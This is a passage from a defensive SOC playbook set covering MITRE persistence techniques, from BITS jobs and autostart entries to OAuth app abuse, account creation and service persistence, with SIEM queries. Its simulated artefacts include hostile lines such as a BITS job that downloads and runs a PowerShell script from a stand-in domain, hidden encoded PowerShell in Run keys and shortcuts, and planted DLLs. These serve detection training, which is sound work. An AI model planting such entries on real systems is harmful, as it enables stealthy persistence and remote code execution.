2026-04-29T01:11:34Z

platform=Kubernetes

action=CreateClusterRoleBinding

role=cluster-admin

subject=svc-metrics

G) Additional Local or Domain Groups

2026-04-29T01:11:41Z

directory=ActiveDirectory

action=AddGroupMember

group=Domain Admins

member=svc-helpdesk

Severity decision (SOC)

Low

- Change approved and documented
- Matches role and job function

Medium

- Change without documentation
- Limited scope or privilege

High

- Privileged roles, keys or delegates added
- Persistence survives password reset
- Cross-platform access created

Example severity: High

(Admin role + cloud key + SSH persistence)

Step-by-step SOC workflow

Step 1 Validate identity change legitimacy

Confirm:

1. Who initiated the change?
2. Was the change approved and documented?
3. Does it align with job role and business need?
4. Does it create persistent access beyond passwords?

Decision point

- Legitimate identity change → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify manipulation vector and scope

Vector	Evidence	Attacker value
Cloud credentials	Access keys, tokens	Passwordless access
Email delegation	Mailbox access	Data theft, BEC
Cloud roles	Admin assignments	Full tenant control
SSH keys	authorized_keys	Server persistence
Device registration	Trusted device	MFA bypass
Container RBAC	Cluster roles	Platform takeover
Groups	Admin membership	Privilege escalation

Step 3 Map behaviour to attacker intent

3A) Password-Independent Persistence

Indicators

- API keys, SSH keys
- OAuth tokens

Attacker intent

- Survive credential resets

3B) Privilege Escalation via Identity

Indicators

- Admin roles or groups added
- Cluster-admin bindings

Attacker intent

- Maintain dominant access

3C) Stealth and Blending

Indicators

- Service accounts used
- Legitimate-looking names

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Use of new roles or keys
2. Persistence
 - Additional identities or tokens
3. Exfiltration
 - Mailbox or storage access
4. Defense Evasion
 - Logging or alert suppression

Decision point

- Evidence found → escalate to Identity / Cloud Incident Response

Containment actions

If detected early

1. Disable newly added credentials, keys or roles
2. Remove unauthorised delegates and group members
3. Block suspicious devices

If persistence confirmed

1. Revoke all attacker-added access paths
2. Rotate affected credentials and tokens
3. Enforce tenant-wide credential reset if needed
4. Isolate impacted systems or accounts

Eradication and recovery

- Remove all unauthorised identity changes
- Revalidate group, role and RBAC memberships
- Rotate secrets, keys and tokens
- Re-enrol trusted devices
- Issue assurance after identity integrity review

Detection engineering (SIEM ideas)

A) Privileged role or group change

```
index=identity
| where action IN ("AddMemberToRole","AddGroupMember")
| where role IN ("GlobalAdmin","Domain Admins","cluster-admin")
```

B) SSH key modification

```
index=os
| where file_path LIKE "%authorized_keys%"
```

C) Email delegate permission changes

```
index=mail
| where action="AddMailboxPermission"
```

D) Device registration anomaly

```
index=identity
| where action="RegisterDevice"
| where device_trust="unknown"
```

Analyst checklist

- Identity changes inventoried
- Persistence paths identified
- Unauthorised access removed
- Credentials rotated
- Monitoring enhanced

Post-incident improvements

- Enforce MFA and phishing-resistant auth everywhere
- Monitor identity changes as Tier-0 alerts
- Limit long-lived credentials and API keys
- Require approvals for role and delegate changes

- Regularly audit cloud, email, server and cluster access

Playbook 49 (MITRE Persistence): BITS Jobs

Technique: BITS Jobs

Purpose

Detect, investigate and respond to adversaries abusing Background Intelligent Transfer Service (BITS) to establish stealthy persistence by scheduling background file transfers or command execution, enabling attackers to:

- Persist across reboots using a trusted Windows service
- Download or execute payloads quietly over time
- Blend malicious activity into normal OS background traffic
- Throttle network usage to evade detection
- Re-establish tooling after disruption

BITS Jobs is low-noise persistence attackers let Windows handle reliability and stealth for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious BITS activity, including:

- Creation of new BITS jobs without approved IT context
- Jobs pointing to external or unusual URLs
- Jobs configured to run repeatedly or resume on reboot
- BITS jobs launching scripts or executables
- Correlation between BITS activity and C2 or payload staging

Example use case scenario (end-to-end)

Context: SOC detects periodic outbound connections to a low-reputation domain from a workstation, even after reboots. Windows logs reveal a persistent BITS job downloading a script to C:\ProgramData\ and executing it via a post-transfer command.

Attacker objective: Maintain quiet, resilient persistence using a trusted Windows background service.

Defender objective: Identify, remove and prevent malicious BITS-based persistence.

What it looks like (simulated SOC artefacts)

A) BITS Job Creation

JobName=WinUpdateCheck
Owner=SYSTEM
State=Transferred

B) Suspicious Transfer Source

RemoteURL=hxxps://cdn-update[.]site/payload.ps1
LocalPath=C:\ProgramData\update.ps1

C) Post-Transfer Execution

NotifyCmdLine=powershell.exe -ExecutionPolicy Bypass -File update.ps1

D) Persistence Across Reboot

ResumeOnRestart=True
RetryDelay=60

E) Trusted Service Context

Service=BITS
Process=svchost.exe

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Suspicious BITS job with limited execution or scope

Critical

- BITS job used for persistent payload execution or C2 recovery
- Jobs running as SYSTEM or repeatedly re-downloading malware

Example severity: Critical

(Persistent attacker foothold via trusted Windows service)

Step-by-step SOC workflow

Step 1 Validate BITS-based persistence

Confirm:

1. Is the BITS job unauthorised or undocumented?
2. Does it reference external or low-reputation endpoints?
3. Is a post-transfer command configured?
4. Does the job survive reboot or retry automatically?

Decision point

- Legitimate update or IT task → validate ownership
- Malicious BITS persistence → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
BITS job	Background transfer	Stealth
Resume enabled	Survives reboot	Reliability
External URL	Payload staging	Control
Notify command	Code execution	Persistence
SYSTEM context	Elevated access	Privilege

Step 3 Map behaviour to attacker intent

3A) Stealthy Persistence

Indicators

- Background transfer via svchost.exe

Attacker intent

- Avoid endpoint alerts

3B) Self-Healing Malware

Indicators

- Re-download on failure

Attacker intent

- Maintain foothold

3C) Defense Evasion

Indicators

- Throttled network usage

Attacker intent

- Blend with OS traffic

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons after transfer completion
2. Execution
 - PowerShell or script execution
3. Persistence
 - Additional autostart mechanisms
4. Defense Evasion
 - Obfuscation or indicator removal

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Suspend and delete malicious BITS jobs
2. Isolate affected endpoints
3. Block malicious domains and URLs

If BITS abuse confirmed

1. Preserve BITS job metadata and logs
2. Remove downloaded payloads and scripts
3. Reset credentials used on affected hosts
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Remove all unauthorised BITS jobs
- Clean and validate affected systems

- Harden PowerShell and script execution policies
- Restrict BITS job creation to approved roles
- Monitor closely for job recreation

Detection engineering (SIEM ideas)

A) New BITS job creation

```
index=windows
| where event_id IN (59,60,61)
```

B) BITS jobs with external URLs

```
index=windows
| where event_id=59
| where remote_url LIKE "http%"
```

C) Post-transfer execution detection

```
index=edr
| where parent_process="svchost.exe"
| where process_name IN ("powershell.exe","cmd.exe","mshta.exe")
```

Analyst checklist

- BITS persistence confirmed
- Malicious jobs identified and removed
- Payloads deleted
- Network indicators blocked
- Incident escalated appropriately

Post-incident improvements

- Treat BITS as a persistence-capable execution mechanism
- Log and alert on BITS job creation and modification
- Restrict BITS usage on non-admin systems
- Correlate BITS job → execution → C2
- Include BITS abuse scenarios in SOC training

Playbook 50 (MITRE Persistence): Boot or Logon Autostart Execution

Technique: Boot or Logon Autostart Execution

Sub-techniques:

- Registry Run Keys / Startup Folder
- Authentication Package
- Time Providers
- Winlogon Helper DLL
- Security Support Provider
- Kernel Modules and Extensions
- Re-opened Applications
- LSASS Driver
- Shortcut Modification
- Port Monitors
- Print Processors
- XDG Autostart Entries
- Active Setup
- Login Items

Purpose

Detect, investigate and respond to persistence mechanisms that trigger automatically during system boot or user logon, enabling attackers to:

- Execute payloads without user interaction
- Survive reboots and endpoint cleanup
- Gain SYSTEM / kernel-level execution
- Hide inside rarely audited OS startup paths
- Establish long-term, stealthy footholds

Boot and logon autostart techniques are among the most reliable persistence methods, frequently abused by advanced attackers and ransomware operators.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised startup execution, including:

- New registry keys, drivers or startup items
- DLLs loaded during logon or authentication
- Kernel or LSASS components modified
- Persistence that survives password resets and reboots
- Execution occurring immediately after boot or login
- No scheduled tasks or services explain execution

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution immediately after user logon, even after malware removal. Deep inspection reveals a Winlogon Helper DLL and a modified Run key that re-executes the payload on every login.

Attacker objective: Maintain guaranteed execution whenever the system boots or a user logs in.

Defender objective: Identify hidden autostart mechanisms, remove persistence and restore OS integrity.

What it looks like (simulated SOC artefacts)

A) Registry Run Key / Startup Folder

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Updater = powershell.exe -w hidden -enc SQBFAFgA...

B) Winlogon Helper DLL (T1547.004)

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit = userinit.exe,evil.dll

C) Security Support Provider (SSP)

HKLM\System\CurrentControlSet\Control\Lsa\Security Packages
Added: evilssp.dll

D) Kernel Module / Driver

C:\Windows\System32\drivers\kbdflt.sys
signature=unsigned
load_type=BOOT_START

E) LSASS Driver

HKLM\System\CurrentControlSet\Control\Lsa
Authentication Packages += evilauth.dll

F) Shortcut Modification

C:\Users\Public\Desktop\Chrome.lnk
Target="chrome.exe & powershell -w hidden -enc SQBFAFgA..."

G) Print Processor

HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors

Added: PrintUpdate

H) XDG Autostart (Linux)

~/.config/autostart/update.desktop

Exec=/bin/bash /tmp/.cache.sh

I) macOS Login Items

~/Library/LaunchAgents/com.apple.update.plist

RunAtLoad=true

Severity decision (SOC)

Low

- Autostart entry approved and documented
- Signed binaries from trusted vendors

Medium

- New autostart entry without documentation
- Limited scope, no malicious behaviour observed

High

- Kernel / LSASS / authentication components modified
- Unsigned DLLs or drivers
- Payload execution at every boot or logon

Example severity: High

(Winlogon DLL + SSP + Run key persistence)

Step-by-step SOC workflow

Step 1 Validate autostart execution legitimacy

Confirm:

1. Which autostart mechanism is used?

2. Who created or modified it?
3. Is the binary signed and trusted?
4. Does it execute automatically at boot or login?

Decision point

- Legitimate startup configuration → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify autostart vector and scope

Autostart vector	Evidence	Attacker value
Run keys / Startup	Registry / folder	User persistence
Winlogon / SSP	DLL load	SYSTEM execution
Kernel / LSASS	Drivers	Ring-0 persistence
Shortcuts	Modified LNK	User deception
Print / Port monitors	Spooler abuse	SYSTEM stealth
XDG / Login Items	Desktop startup	Cross-platform

Step 3 Map behaviour to attacker intent

3A) Guaranteed Execution

Indicators

- Runs at every boot/logon
- No user interaction required

Attacker intent

- Maintain persistent foothold

3B) Privilege and Stealth

Indicators

- Kernel, LSASS, authentication components
- Execution before EDR fully loads

Attacker intent

- Evade security controls

3C) Masquerading

Indicators

- Names resembling OS components
- Placement in system directories

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS memory, authentication hooks
2. Defense Evasion
 - Security service tampering
3. Command and Control
 - Early-boot beaoning
4. Impact
 - Ransomware staging or sabotage

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

If detected early

1. Disable or remove suspicious autostart entries
2. Block associated binaries and hashes
3. Prevent execution on next reboot

If persistence confirmed

1. Isolate affected host
2. Remove all malicious autostart mechanisms
3. Reset credentials potentially exposed
4. Preserve artefacts for forensics

Eradication and recovery

- Delete malicious registry keys, drivers, DLLs

- Restore autostart locations from baseline
- Reimage system if kernel or LSASS integrity is impacted
- Patch OS and harden startup paths
- Validate clean boot and login behaviour

Detection engineering (SIEM ideas)

A) New autostart registry entries

index=windows

| where registry_path LIKE "%Run%" OR registry_path LIKE "%Winlogon%"

B) Unsigned driver or DLL loaded at boot

index=edr

| where load_type IN ("BOOT_START","SYSTEM_START")

| where signed=false

C) Print processor or port monitor changes

index=windows

| where registry_path LIKE "%Print\\Environments%"

D) Linux / macOS autostart monitoring

index=os

| where file_path LIKE "%autostart%" OR file_path LIKE "%LaunchAgents%"

Analyst checklist

- Autostart mechanisms inventoried
- Malicious entries identified
- Persistence fully removed
- Credentials rotated if required
- Clean boot and login verified

Post-incident improvements

- Monitor autostart paths as Tier-0 persistence alerts
- Enforce driver and DLL signing
- Harden Winlogon, LSASS and print subsystem
- Baseline startup items per OS and role
- Include boot-level persistence in SOC threat modelling

Playbook 51 (MITRE Persistence): Boot or Logon Initialization Scripts

Technique: Boot or Logon Initialization Scripts

Sub-techniques:

- Logon Script (Windows)
- Login Hook
- Network Logon Script
- RC Scripts
- Startup Items

Purpose

Detect, investigate and respond to persistence achieved by executing scripts during system boot or user logon, enabling attackers to:

- Execute payloads every time a user logs in
- Persist without installing services or scheduled tasks
- Blend into legitimate IT administration workflows
- Gain access across multiple users or systems
- Re-establish malware after remediation

Initialization scripts are quiet, trusted and commonly overlooked, especially in domain environments and Unix-based systems.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised script execution at boot or logon, including:

- Scripts executing immediately after login
- New or modified logon scripts without change approval
- Domain or network logon scripts altered unexpectedly
- Startup scripts executing interpreters or external downloads
- Persistence that survives reboots and malware cleanup
- Multiple users affected simultaneously after login

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution for multiple users immediately after domain login. Investigation reveals a modified network logon script that downloads and executes a payload from an external domain.

Attacker objective: Establish centralised persistence that triggers on every user logon.

Defender objective: Identify and remove malicious initialization scripts and restore trusted login behaviour.

What it looks like (simulated SOC artefacts)

A) Windows Logon Script

2026-05-03T01:11:02Z
script=logon.bat
location=\\DOMAIN\\SYSVOL\\scripts\
command=powershell -w hidden -enc SQBFaFgA...

B) Network Logon Script (GPO)

2026-05-03T01:11:09Z
policy=Default Domain Policy
logon_script=update.ps1

C) macOS Login Hook

/Library/Preferences/com.apple.loginwindow.plist
LoginHook=/Users/shared/.login.sh

D) RC Script (Linux)

/etc/rc.local
/bin/bash /usr/lib/.cache.sh &

E) Startup Item

/etc/init.d/update
ExecStart=/bin/sh /tmp/.upd.sh

Severity decision (SOC)

Low

- Script approved and documented
- No suspicious commands or external access

Medium

- Script modified without approval
- Limited scope or non-privileged execution

High

- Script executes payloads or downloads external content
- Domain-wide or multi-user impact
- Persistence confirmed across reboots

Example severity: High

(Network logon script → PowerShell payload → multi-user execution)

Step-by-step SOC workflow

Step 1 Validate initialization script legitimacy

Confirm:

1. Which script type is used (local, network, RC, hook)?
2. Who created or modified the script?
3. Is the script approved and documented?
4. Does it execute automatically at boot or login?

Decision point

- Legitimate administrative script → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify initialization vector and scope

Script type	Evidence	Attacker value
Windows logon	Local execution	User persistence
Network logon	SYSVOL / GPO	Domain-wide scale
Login hook	macOS login	Stealth execution
RC scripts	Boot execution	Root persistence
Startup items	Init scripts	System-level execution

Step 3 Map behaviour to attacker intent

3A) Centralised Persistence

Indicators

- Network or domain scripts
- Multiple users affected

Attacker intent

- Persist at scale

3B) Stealth Execution

Indicators

- Hidden scripts
- Minimal user visibility

Attacker intent

- Avoid endpoint detection

3C) Privileged Execution

Indicators

- RC scripts or startup items
- Execution as SYSTEM/root

Attacker intent

- High-privilege persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Scripts accessing secrets or tokens
2. Command and Control
 - Network calls at login
3. Lateral Movement
 - Use of harvested credentials
4. Defense Evasion
 - Script-based disabling of security tools

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable affected logon or startup scripts
2. Block external domains used by scripts
3. Prevent script execution on next login

If persistence confirmed

1. Remove malicious scripts from all locations
2. Restore clean versions from backup
3. Reset affected user credentials
4. Isolate systems if secondary payloads detected

Eradication and recovery

- Delete malicious initialization scripts
- Restore trusted logon/startup configurations
- Reimage hosts if integrity is uncertain
- Validate clean boot and login execution
- Monitor subsequent logins closely

Detection engineering (SIEM ideas)

A) Logon script modification

index=windows
| where file_path LIKE "%SYSVOL%" OR file_path LIKE "%logon%"

B) Interpreter execution at login

index=edr
| where event_type="process_start"
| where logon_event=true
| where child_process IN ("powershell.exe", "bash", "sh", "python")

C) RC / init script changes

index=os
| where file_path LIKE "%rc.local%" OR file_path LIKE "%init.d%"

Analyst checklist

- Initialization scripts inventoried
- Malicious scripts identified
- Persistence removed
- Credentials rotated if required

- Clean login behaviour confirmed

Post-incident improvements

- Monitor logon and startup scripts as Tier-1 persistence signals
- Restrict who can modify network logon scripts
- Require change approval for SYSVOL and init scripts
- Baseline startup and login scripts per OS
- Include script-based persistence in SOC exercises

Playbook 52 (MITRE Persistence): Cloud Application Integration

Technique: Cloud Application Integration

Purpose

Detect, investigate and respond to persistence achieved by integrating malicious or abused applications into cloud platforms, enabling attackers to:

- Maintain long-term access without user passwords
- Operate entirely through OAuth, API tokens and service principals
- Bypass MFA and conditional access
- Persist even after user credential resets
- Blend malicious activity into legitimate cloud application behaviour

Cloud Application Integration is one of the most dangerous persistence techniques in modern environments because it is identity-native, stealthy and durable.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious cloud application integrations, including:

- New OAuth apps or service principals created unexpectedly
- Excessive or high-privilege API permissions granted
- Applications accessing mailboxes, files or directories without user interaction
- API activity continuing after password resets
- Consent granted outside normal approval workflows
- App activity from unusual tenants, IPs or geographies

Example use case scenario (end-to-end)

Context: SOC detects ongoing mailbox access via Microsoft Graph API even after the user's password is reset and MFA is enforced. Investigation reveals a malicious OAuth application granted full mailbox and directory permissions.

Attacker objective: Establish passwordless, MFA-resistant persistence using cloud application permissions.

Defender objective: Identify malicious app integrations, revoke access and restore cloud identity trust.

What it looks like (simulated SOC artefacts)

A) OAuth Application Registration

2026-05-05T01:11:02Z
platform=EntraID
action=AddApplication
app_name=MailSyncPro
created_by=employee07

B) Consent to High-Risk Permissions

2026-05-05T01:11:08Z
app=MailSyncPro
permissions=Mail.ReadWrite,Directory.Read.All
consent_type=UserConsent

C) Service Principal Created

2026-05-05T01:11:14Z
action=AddServicePrincipal
app=MailSyncPro

D) Persistent API Access

2026-05-05T01:11:21Z
api=MicrosoftGraph
operation=GetMessages
caller=MailSyncPro
auth_type=OAuth

E) Activity After Password Reset

2026-05-05T01:11:29Z
event=UserPasswordReset
user=employee07
2026-05-05T01:11:31Z
api_activity=continued
caller=MailSyncPro

Severity decision (SOC)

Low

- App integration approved and documented
- Least-privilege permissions

- Vendor-verified application

Medium

- App integration without documentation
- Read-only or limited permissions

High

- High-privilege permissions (mail, directory, files)
- Persistence survives password reset
- External or unknown application

Example severity: High

(OAuth app → Mail.ReadWrite + Directory access → MFA bypass)

Step-by-step SOC workflow

Step 1 Validate cloud application legitimacy

Confirm:

1. Who created or consented to the application?
2. Is the application business-approved?
3. What permissions and scopes are granted?
4. Does the app bypass MFA or Conditional Access?

Decision point

- Legitimate integration → document and monitor
- Unauthorised or excessive permissions → continue investigation immediately

Step 2 Identify integration scope

Integration element	Evidence	Attacker value
OAuth app	App registration	Passwordless access
Permissions	Graph / API scopes	Data access
Service principal	Tenant persistence	Long-term control
Tokens	Refresh tokens	MFA bypass
APIs	Mail, files, directory	Data exfiltration

Step 3 Map behaviour to attacker intent

3A) MFA-Resistant Persistence

Indicators

- OAuth tokens
- Continued access after resets

Attacker intent

- Survive credential remediation

3B) Stealthy Data Access

Indicators

- API-based mailbox or file access
- No interactive logins

Attacker intent

- Exfiltrate data quietly

3C) Tenant-Wide Expansion

Indicators

- Directory permissions
- Additional app registrations

Attacker intent

- Expand control across cloud tenant

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Mailbox, OneDrive, SharePoint access
2. Persistence
 - Additional OAuth apps or secrets
3. Privilege Escalation
 - Admin consent abuse
4. Defense Evasion
 - Logging or alert suppression

Decision point

- Evidence found → escalate to Cloud / Identity Incident Response

Containment actions

If detected early

1. Disable or delete suspicious cloud applications
2. Revoke OAuth tokens and refresh tokens
3. Block further consent for risky permissions

If persistence confirmed

1. Remove service principals and app registrations
2. Revoke all tokens tenant-wide if required
3. Reset affected user credentials
4. Enforce admin-only consent temporarily

Eradication and recovery

- Delete malicious or unauthorised cloud apps
- Revalidate all OAuth integrations
- Rotate secrets and certificates
- Review audit logs for full impact
- Restore trust in cloud identity environment

Detection engineering (SIEM ideas)

A) New OAuth app registration

index=cloud
| where action IN ("AddApplication","AddServicePrincipal")

B) High-risk permission consent

index=cloud
| where permissions IN ("Mail.ReadWrite","Directory.Read.All","Files.Read.All")

C) API activity without user login

index=cloud
| where auth_type="OAuth"
| where user_interactive_login=false

D) App activity after password reset

index=cloud

| transaction user maxspan=10m

| where event="PasswordReset" AND api_activity=true

Analyst checklist

- Cloud apps inventoried
- Unauthorised integrations identified
- Tokens and permissions revoked
- User and tenant security validated
- Monitoring enhanced

Post-incident improvements

- Enforce admin-only OAuth consent
- Monitor app permissions as Tier-0 identity alerts
- Limit long-lived refresh tokens
- Review cloud apps regularly
- Train SOC on OAuth and API abuse patterns

Playbook 53 (MITRE Persistence): Compromise Host Software Binary

Technique: Compromise Host Software Binary

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying, replacing or backdooring legitimate software binaries on a host, enabling attackers to:

- Execute malicious code whenever trusted software runs
- Abuse user trust in legitimate applications
- Survive reboots without creating obvious autorun entries
- Evade detection by blending into normal application behaviour
- Maintain long-term access with minimal footprint

Compromised host software binaries are weaponised trust attackers don't add new persistence they poison what already exists.

When to trigger this playbook

Trigger this playbook when indicators suggest legitimate binaries behaving maliciously or showing integrity anomalies, including:

- Hash or signature changes in trusted executables
- Legitimate applications initiating unexpected network traffic
- Software updates behaving abnormally
- Execution of unsigned or tampered binaries from trusted paths
- Security alerts tied to well-known, previously clean software

Example use case scenario (end-to-end)

Context: SOC observes a signed third-party backup agent initiating outbound connections to an unknown IP on every system startup. File integrity monitoring reveals the agent's executable hash changed without an approved update. Reverse engineering confirms malicious code appended to the binary.

Attacker objective: Maintain durable, stealthy persistence by embedding malware inside a trusted application.

Defender objective: Restore software integrity and eliminate the attacker's hidden foothold.

What it looks like (simulated SOC artefacts)

A) Binary Integrity Violation

File=C:\Program Files\BackupAgent\agent.exe
HashStatus=Changed
Signature=Invalid

B) Trusted Path Abuse

BinaryPath=C:\Program Files\
ExecutionFrequency=NormalUsage

C) Unexpected Behaviour

Process=agent.exe
Action=Outbound HTTPS
Destination=Unknown IP

D) No New Persistence Entries

ScheduledTasks=None
RunKeys=None

E) Update Masquerading

Version=2.3.1
UpdateSource=Unverified

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Binary tampering limited to non-critical software

Critical

- Compromise of widely deployed or privileged software
- Backdoored binaries used for C2, lateral movement or impact

Example severity: Critical

(Persistent compromise embedded in trusted software)

Step-by-step SOC workflow

Step 1 Validate binary compromise

Confirm:

1. Has the binary's hash or signature changed unexpectedly?
2. Is the software behaving outside its normal function?
3. Was there no authorised update or patch event?
4. Does execution align with malicious network or system activity?

Decision point

- Legitimate update → validate source and integrity
- Binary compromise → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Binary modification	Hash mismatch	Persistence
Trusted software	Known vendor	Evasion
Frequent execution	User/app startup	Reliability
No new artefacts	No autoruns	Stealth
Privileged context	Service or admin	Impact

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No new persistence mechanisms

Attacker intent

- Avoid detection and cleanup

3B) Trust Abuse

Indicators

- Backdoored signed software

Attacker intent

- Bypass security controls

3C) Long-Term Access

Indicators

- Triggered during normal use

Attacker intent

- Maintain durable foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from legitimate app processes
2. Privilege Escalation
 - Compromised services or agents
3. Lateral Movement
 - Software running across many hosts
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Stop execution of compromised software
3. Block network indicators used by the binary

If binary compromise confirmed

1. Preserve tampered binaries for forensic analysis
2. Remove or replace compromised software
3. Verify integrity of similar binaries across environment
4. Notify SOC leadership, IT Ops and vendor management

Eradication and recovery

- Reinstall clean software from trusted sources
- Validate digital signatures and hashes
- Patch systems and close initial access vector
- Restore integrity monitoring baselines
- Monitor closely for reinfection or re-tampering

Detection engineering (SIEM ideas)

A) File integrity monitoring

```
index=fim  
| where integrity_status="Modified"
```

B) Trusted binary with anomalous network activity

```
index=edr OR index=netflow  
| where process_path IN (trusted_app_paths)  
| where dest_ip NOT IN known_destinations
```

C) Execution of unsigned binaries in Program Files

```
index=edr  
| where process_path LIKE "C:\\Program Files%"  
| where signature_status!="Signed"
```

Analyst checklist

- Host software binary compromise confirmed
- Scope of affected software identified
- Clean versions restored
- Network indicators blocked
- Incident escalated appropriately

Post-incident improvements

- Treat software integrity as a persistence control
- Deploy file integrity monitoring on critical binaries
- Validate updates cryptographically
- Monitor trusted software behaviour, not just new malware
- Correlate binary integrity → execution → network activity

Playbook 54 (MITRE Persistence): Create Account

Technique: Create Account

Sub-techniques:

- Local Account
- Domain Account
- Cloud Account

Purpose

Detect, investigate and respond to persistence achieved by creating new user accounts, enabling attackers to:

- Maintain long-term access without malware
- Blend into legitimate identity structures
- Survive password resets and system rebuilds
- Gain repeated access through legitimate authentication paths
- Escalate privileges over time using trusted identities

Account creation is one of the most durable persistence techniques, especially in enterprise, cloud and hybrid identity environments.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious account creation, including:

- New accounts created outside onboarding workflows
- Accounts with generic or service-like names
- Accounts created during non-business hours
- Immediate privilege assignment after account creation
- Accounts never used interactively by real users
- Persistence that survives endpoint remediation

Example use case scenario (end-to-end)

Context: SOC detects a successful login from an unfamiliar username days after malware was removed. Investigation reveals a new domain account created during the original intrusion and later added to a privileged group.

Attacker objective: Create legitimate identities to maintain access and re-enter the environment at will.

Defender objective: Identify unauthorised accounts, remove persistence and restore identity hygiene.

What it looks like (simulated SOC artefacts)

A) Local Account Creation

2026-05-09T01:11:02Z
host=WS-044
action=CreateLocalUser
user=backup_svc
created_by=SYSTEM

B) Domain Account Creation

2026-05-09T01:11:11Z
directory=ActiveDirectory
action=NewUser
user=svc-helpdesk2
created_by=DOMAIN\admin01

C) Cloud Account Creation

2026-05-09T01:11:19Z
platform=EntraID
action=AddUser
user=reportsync@example.my
role=User

D) Immediate Privilege Assignment

2026-05-09T01:11:26Z
action=AddGroupMember
group=Domain Admins
member=svc-helpdesk2

E) Dormant Account Later Used

2026-05-16T03:22:41Z
event=SuccessfulLogin
user=reportsync@example.my
location=Foreign-IP

Severity decision (SOC)

Low

- Account creation approved and documented
- Matches HR or IT onboarding records

Medium

- Account created without documentation
- No elevated privileges assigned

High

- Privileged or service-like account created
- Account used for persistence or lateral movement
- Creation linked to prior intrusion

Example severity: High

(Domain account + admin group + post-incident access)

Step-by-step SOC workflow

Step 1 Validate account creation legitimacy

Confirm:

1. Who created the account?
2. Is the account approved and documented?
3. Does it match a real user, service or project?
4. Was it created during or after suspicious activity?

Decision point

- Legitimate account → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify account type and scope

Account type	Evidence	Attacker value
Local account	Host-level user	Backdoor access
Domain account	AD identity	Enterprise persistence
Cloud account	SaaS/IaaS access	Tenant persistence

Step 3 Map behaviour to attacker intent

3A) Long-Term Persistence

Indicators

- Accounts left unused initially
- Legitimate login paths

Attacker intent

- Re-enter environment quietly

3B) Privilege Expansion

Indicators

- Group or role assignment
- Admin permissions granted

Attacker intent

- Maintain control over environment

3C) Defense Evasion

Indicators

- Service-style naming
- Blending into existing account patterns

Attacker intent

- Avoid suspicion during reviews

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Use of new accounts across systems
2. Credential Access
 - Password resets, key creation
3. Persistence
 - Additional accounts or roles
4. Impact

- Abuse of trust for data access

Decision point

- Evidence found → escalate to Identity / Incident Response

Containment actions

If detected early

1. Disable or lock suspicious accounts
2. Prevent login until legitimacy confirmed
3. Preserve audit logs

If persistence confirmed

1. Delete unauthorised accounts
2. Remove associated group or role memberships
3. Reset credentials for impacted systems
4. Isolate systems accessed by the account

Eradication and recovery

- Remove malicious accounts from all identity systems
- Review all recent account creations
- Revalidate privileged group memberships
- Rotate credentials and tokens if exposed
- Issue identity assurance confirmation

Detection engineering (SIEM ideas)

A) New account creation

index=identity
| where action IN ("AddUser","CreateLocalUser","NewUser")

B) Account created + privilege assigned

index=identity
| transaction user maxspan=10m
| where action IN ("AddUser","AddGroupMember")

C) Dormant account suddenly active

index=auth
| where first_login=true AND account_age > 7d

Analyst checklist

- Account creation events reviewed
- Unauthorised accounts identified
- Privileges removed
- Persistence eliminated
- Identity monitoring enhanced

Post-incident improvements

- Alert on account creation as Tier-0 identity events
- Require approvals for all account provisioning
- Monitor service-style account naming patterns
- Periodically review dormant and privileged accounts
- Include account-creation abuse in SOC playbooks

Playbook 55 (MITRE Persistence): Create or Modify System Process

Technique: Create or Modify System Process

Sub-techniques:

- Launch Agent
- Systemd Service
- Windows Service
- Launch Daemon
- Container Service

Purpose

Detect, investigate and respond to persistence achieved by creating or modifying long-running system processes, enabling attackers to:

- Achieve execution at boot or service start
- Run payloads with elevated (SYSTEM/root) privileges
- Persist without scheduled tasks or user interaction
- Blend malicious execution into legitimate service behaviour
- Maintain durable access across reboots and logouts

System processes are high-value persistence mechanisms because they are trusted, expected and continuously running.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised service or daemon creation/modification, including:

- New services created outside change windows
- Existing services modified to execute scripts or interpreters
- Services running from user-writable or non-standard paths
- Services communicating externally without business need
- Persistence surviving reboot without other startup artefacts
- Container workloads restarting malicious processes

Example use case scenario (end-to-end)

Context: SOC observes repeated outbound traffic from a server after malware cleanup. No scheduled tasks or Run keys exist. Investigation reveals a modified Windows service executing a PowerShell loader and a systemd service on a Linux jump host doing the same.

Attacker objective: Establish reliable, high-privilege persistence using native service managers.

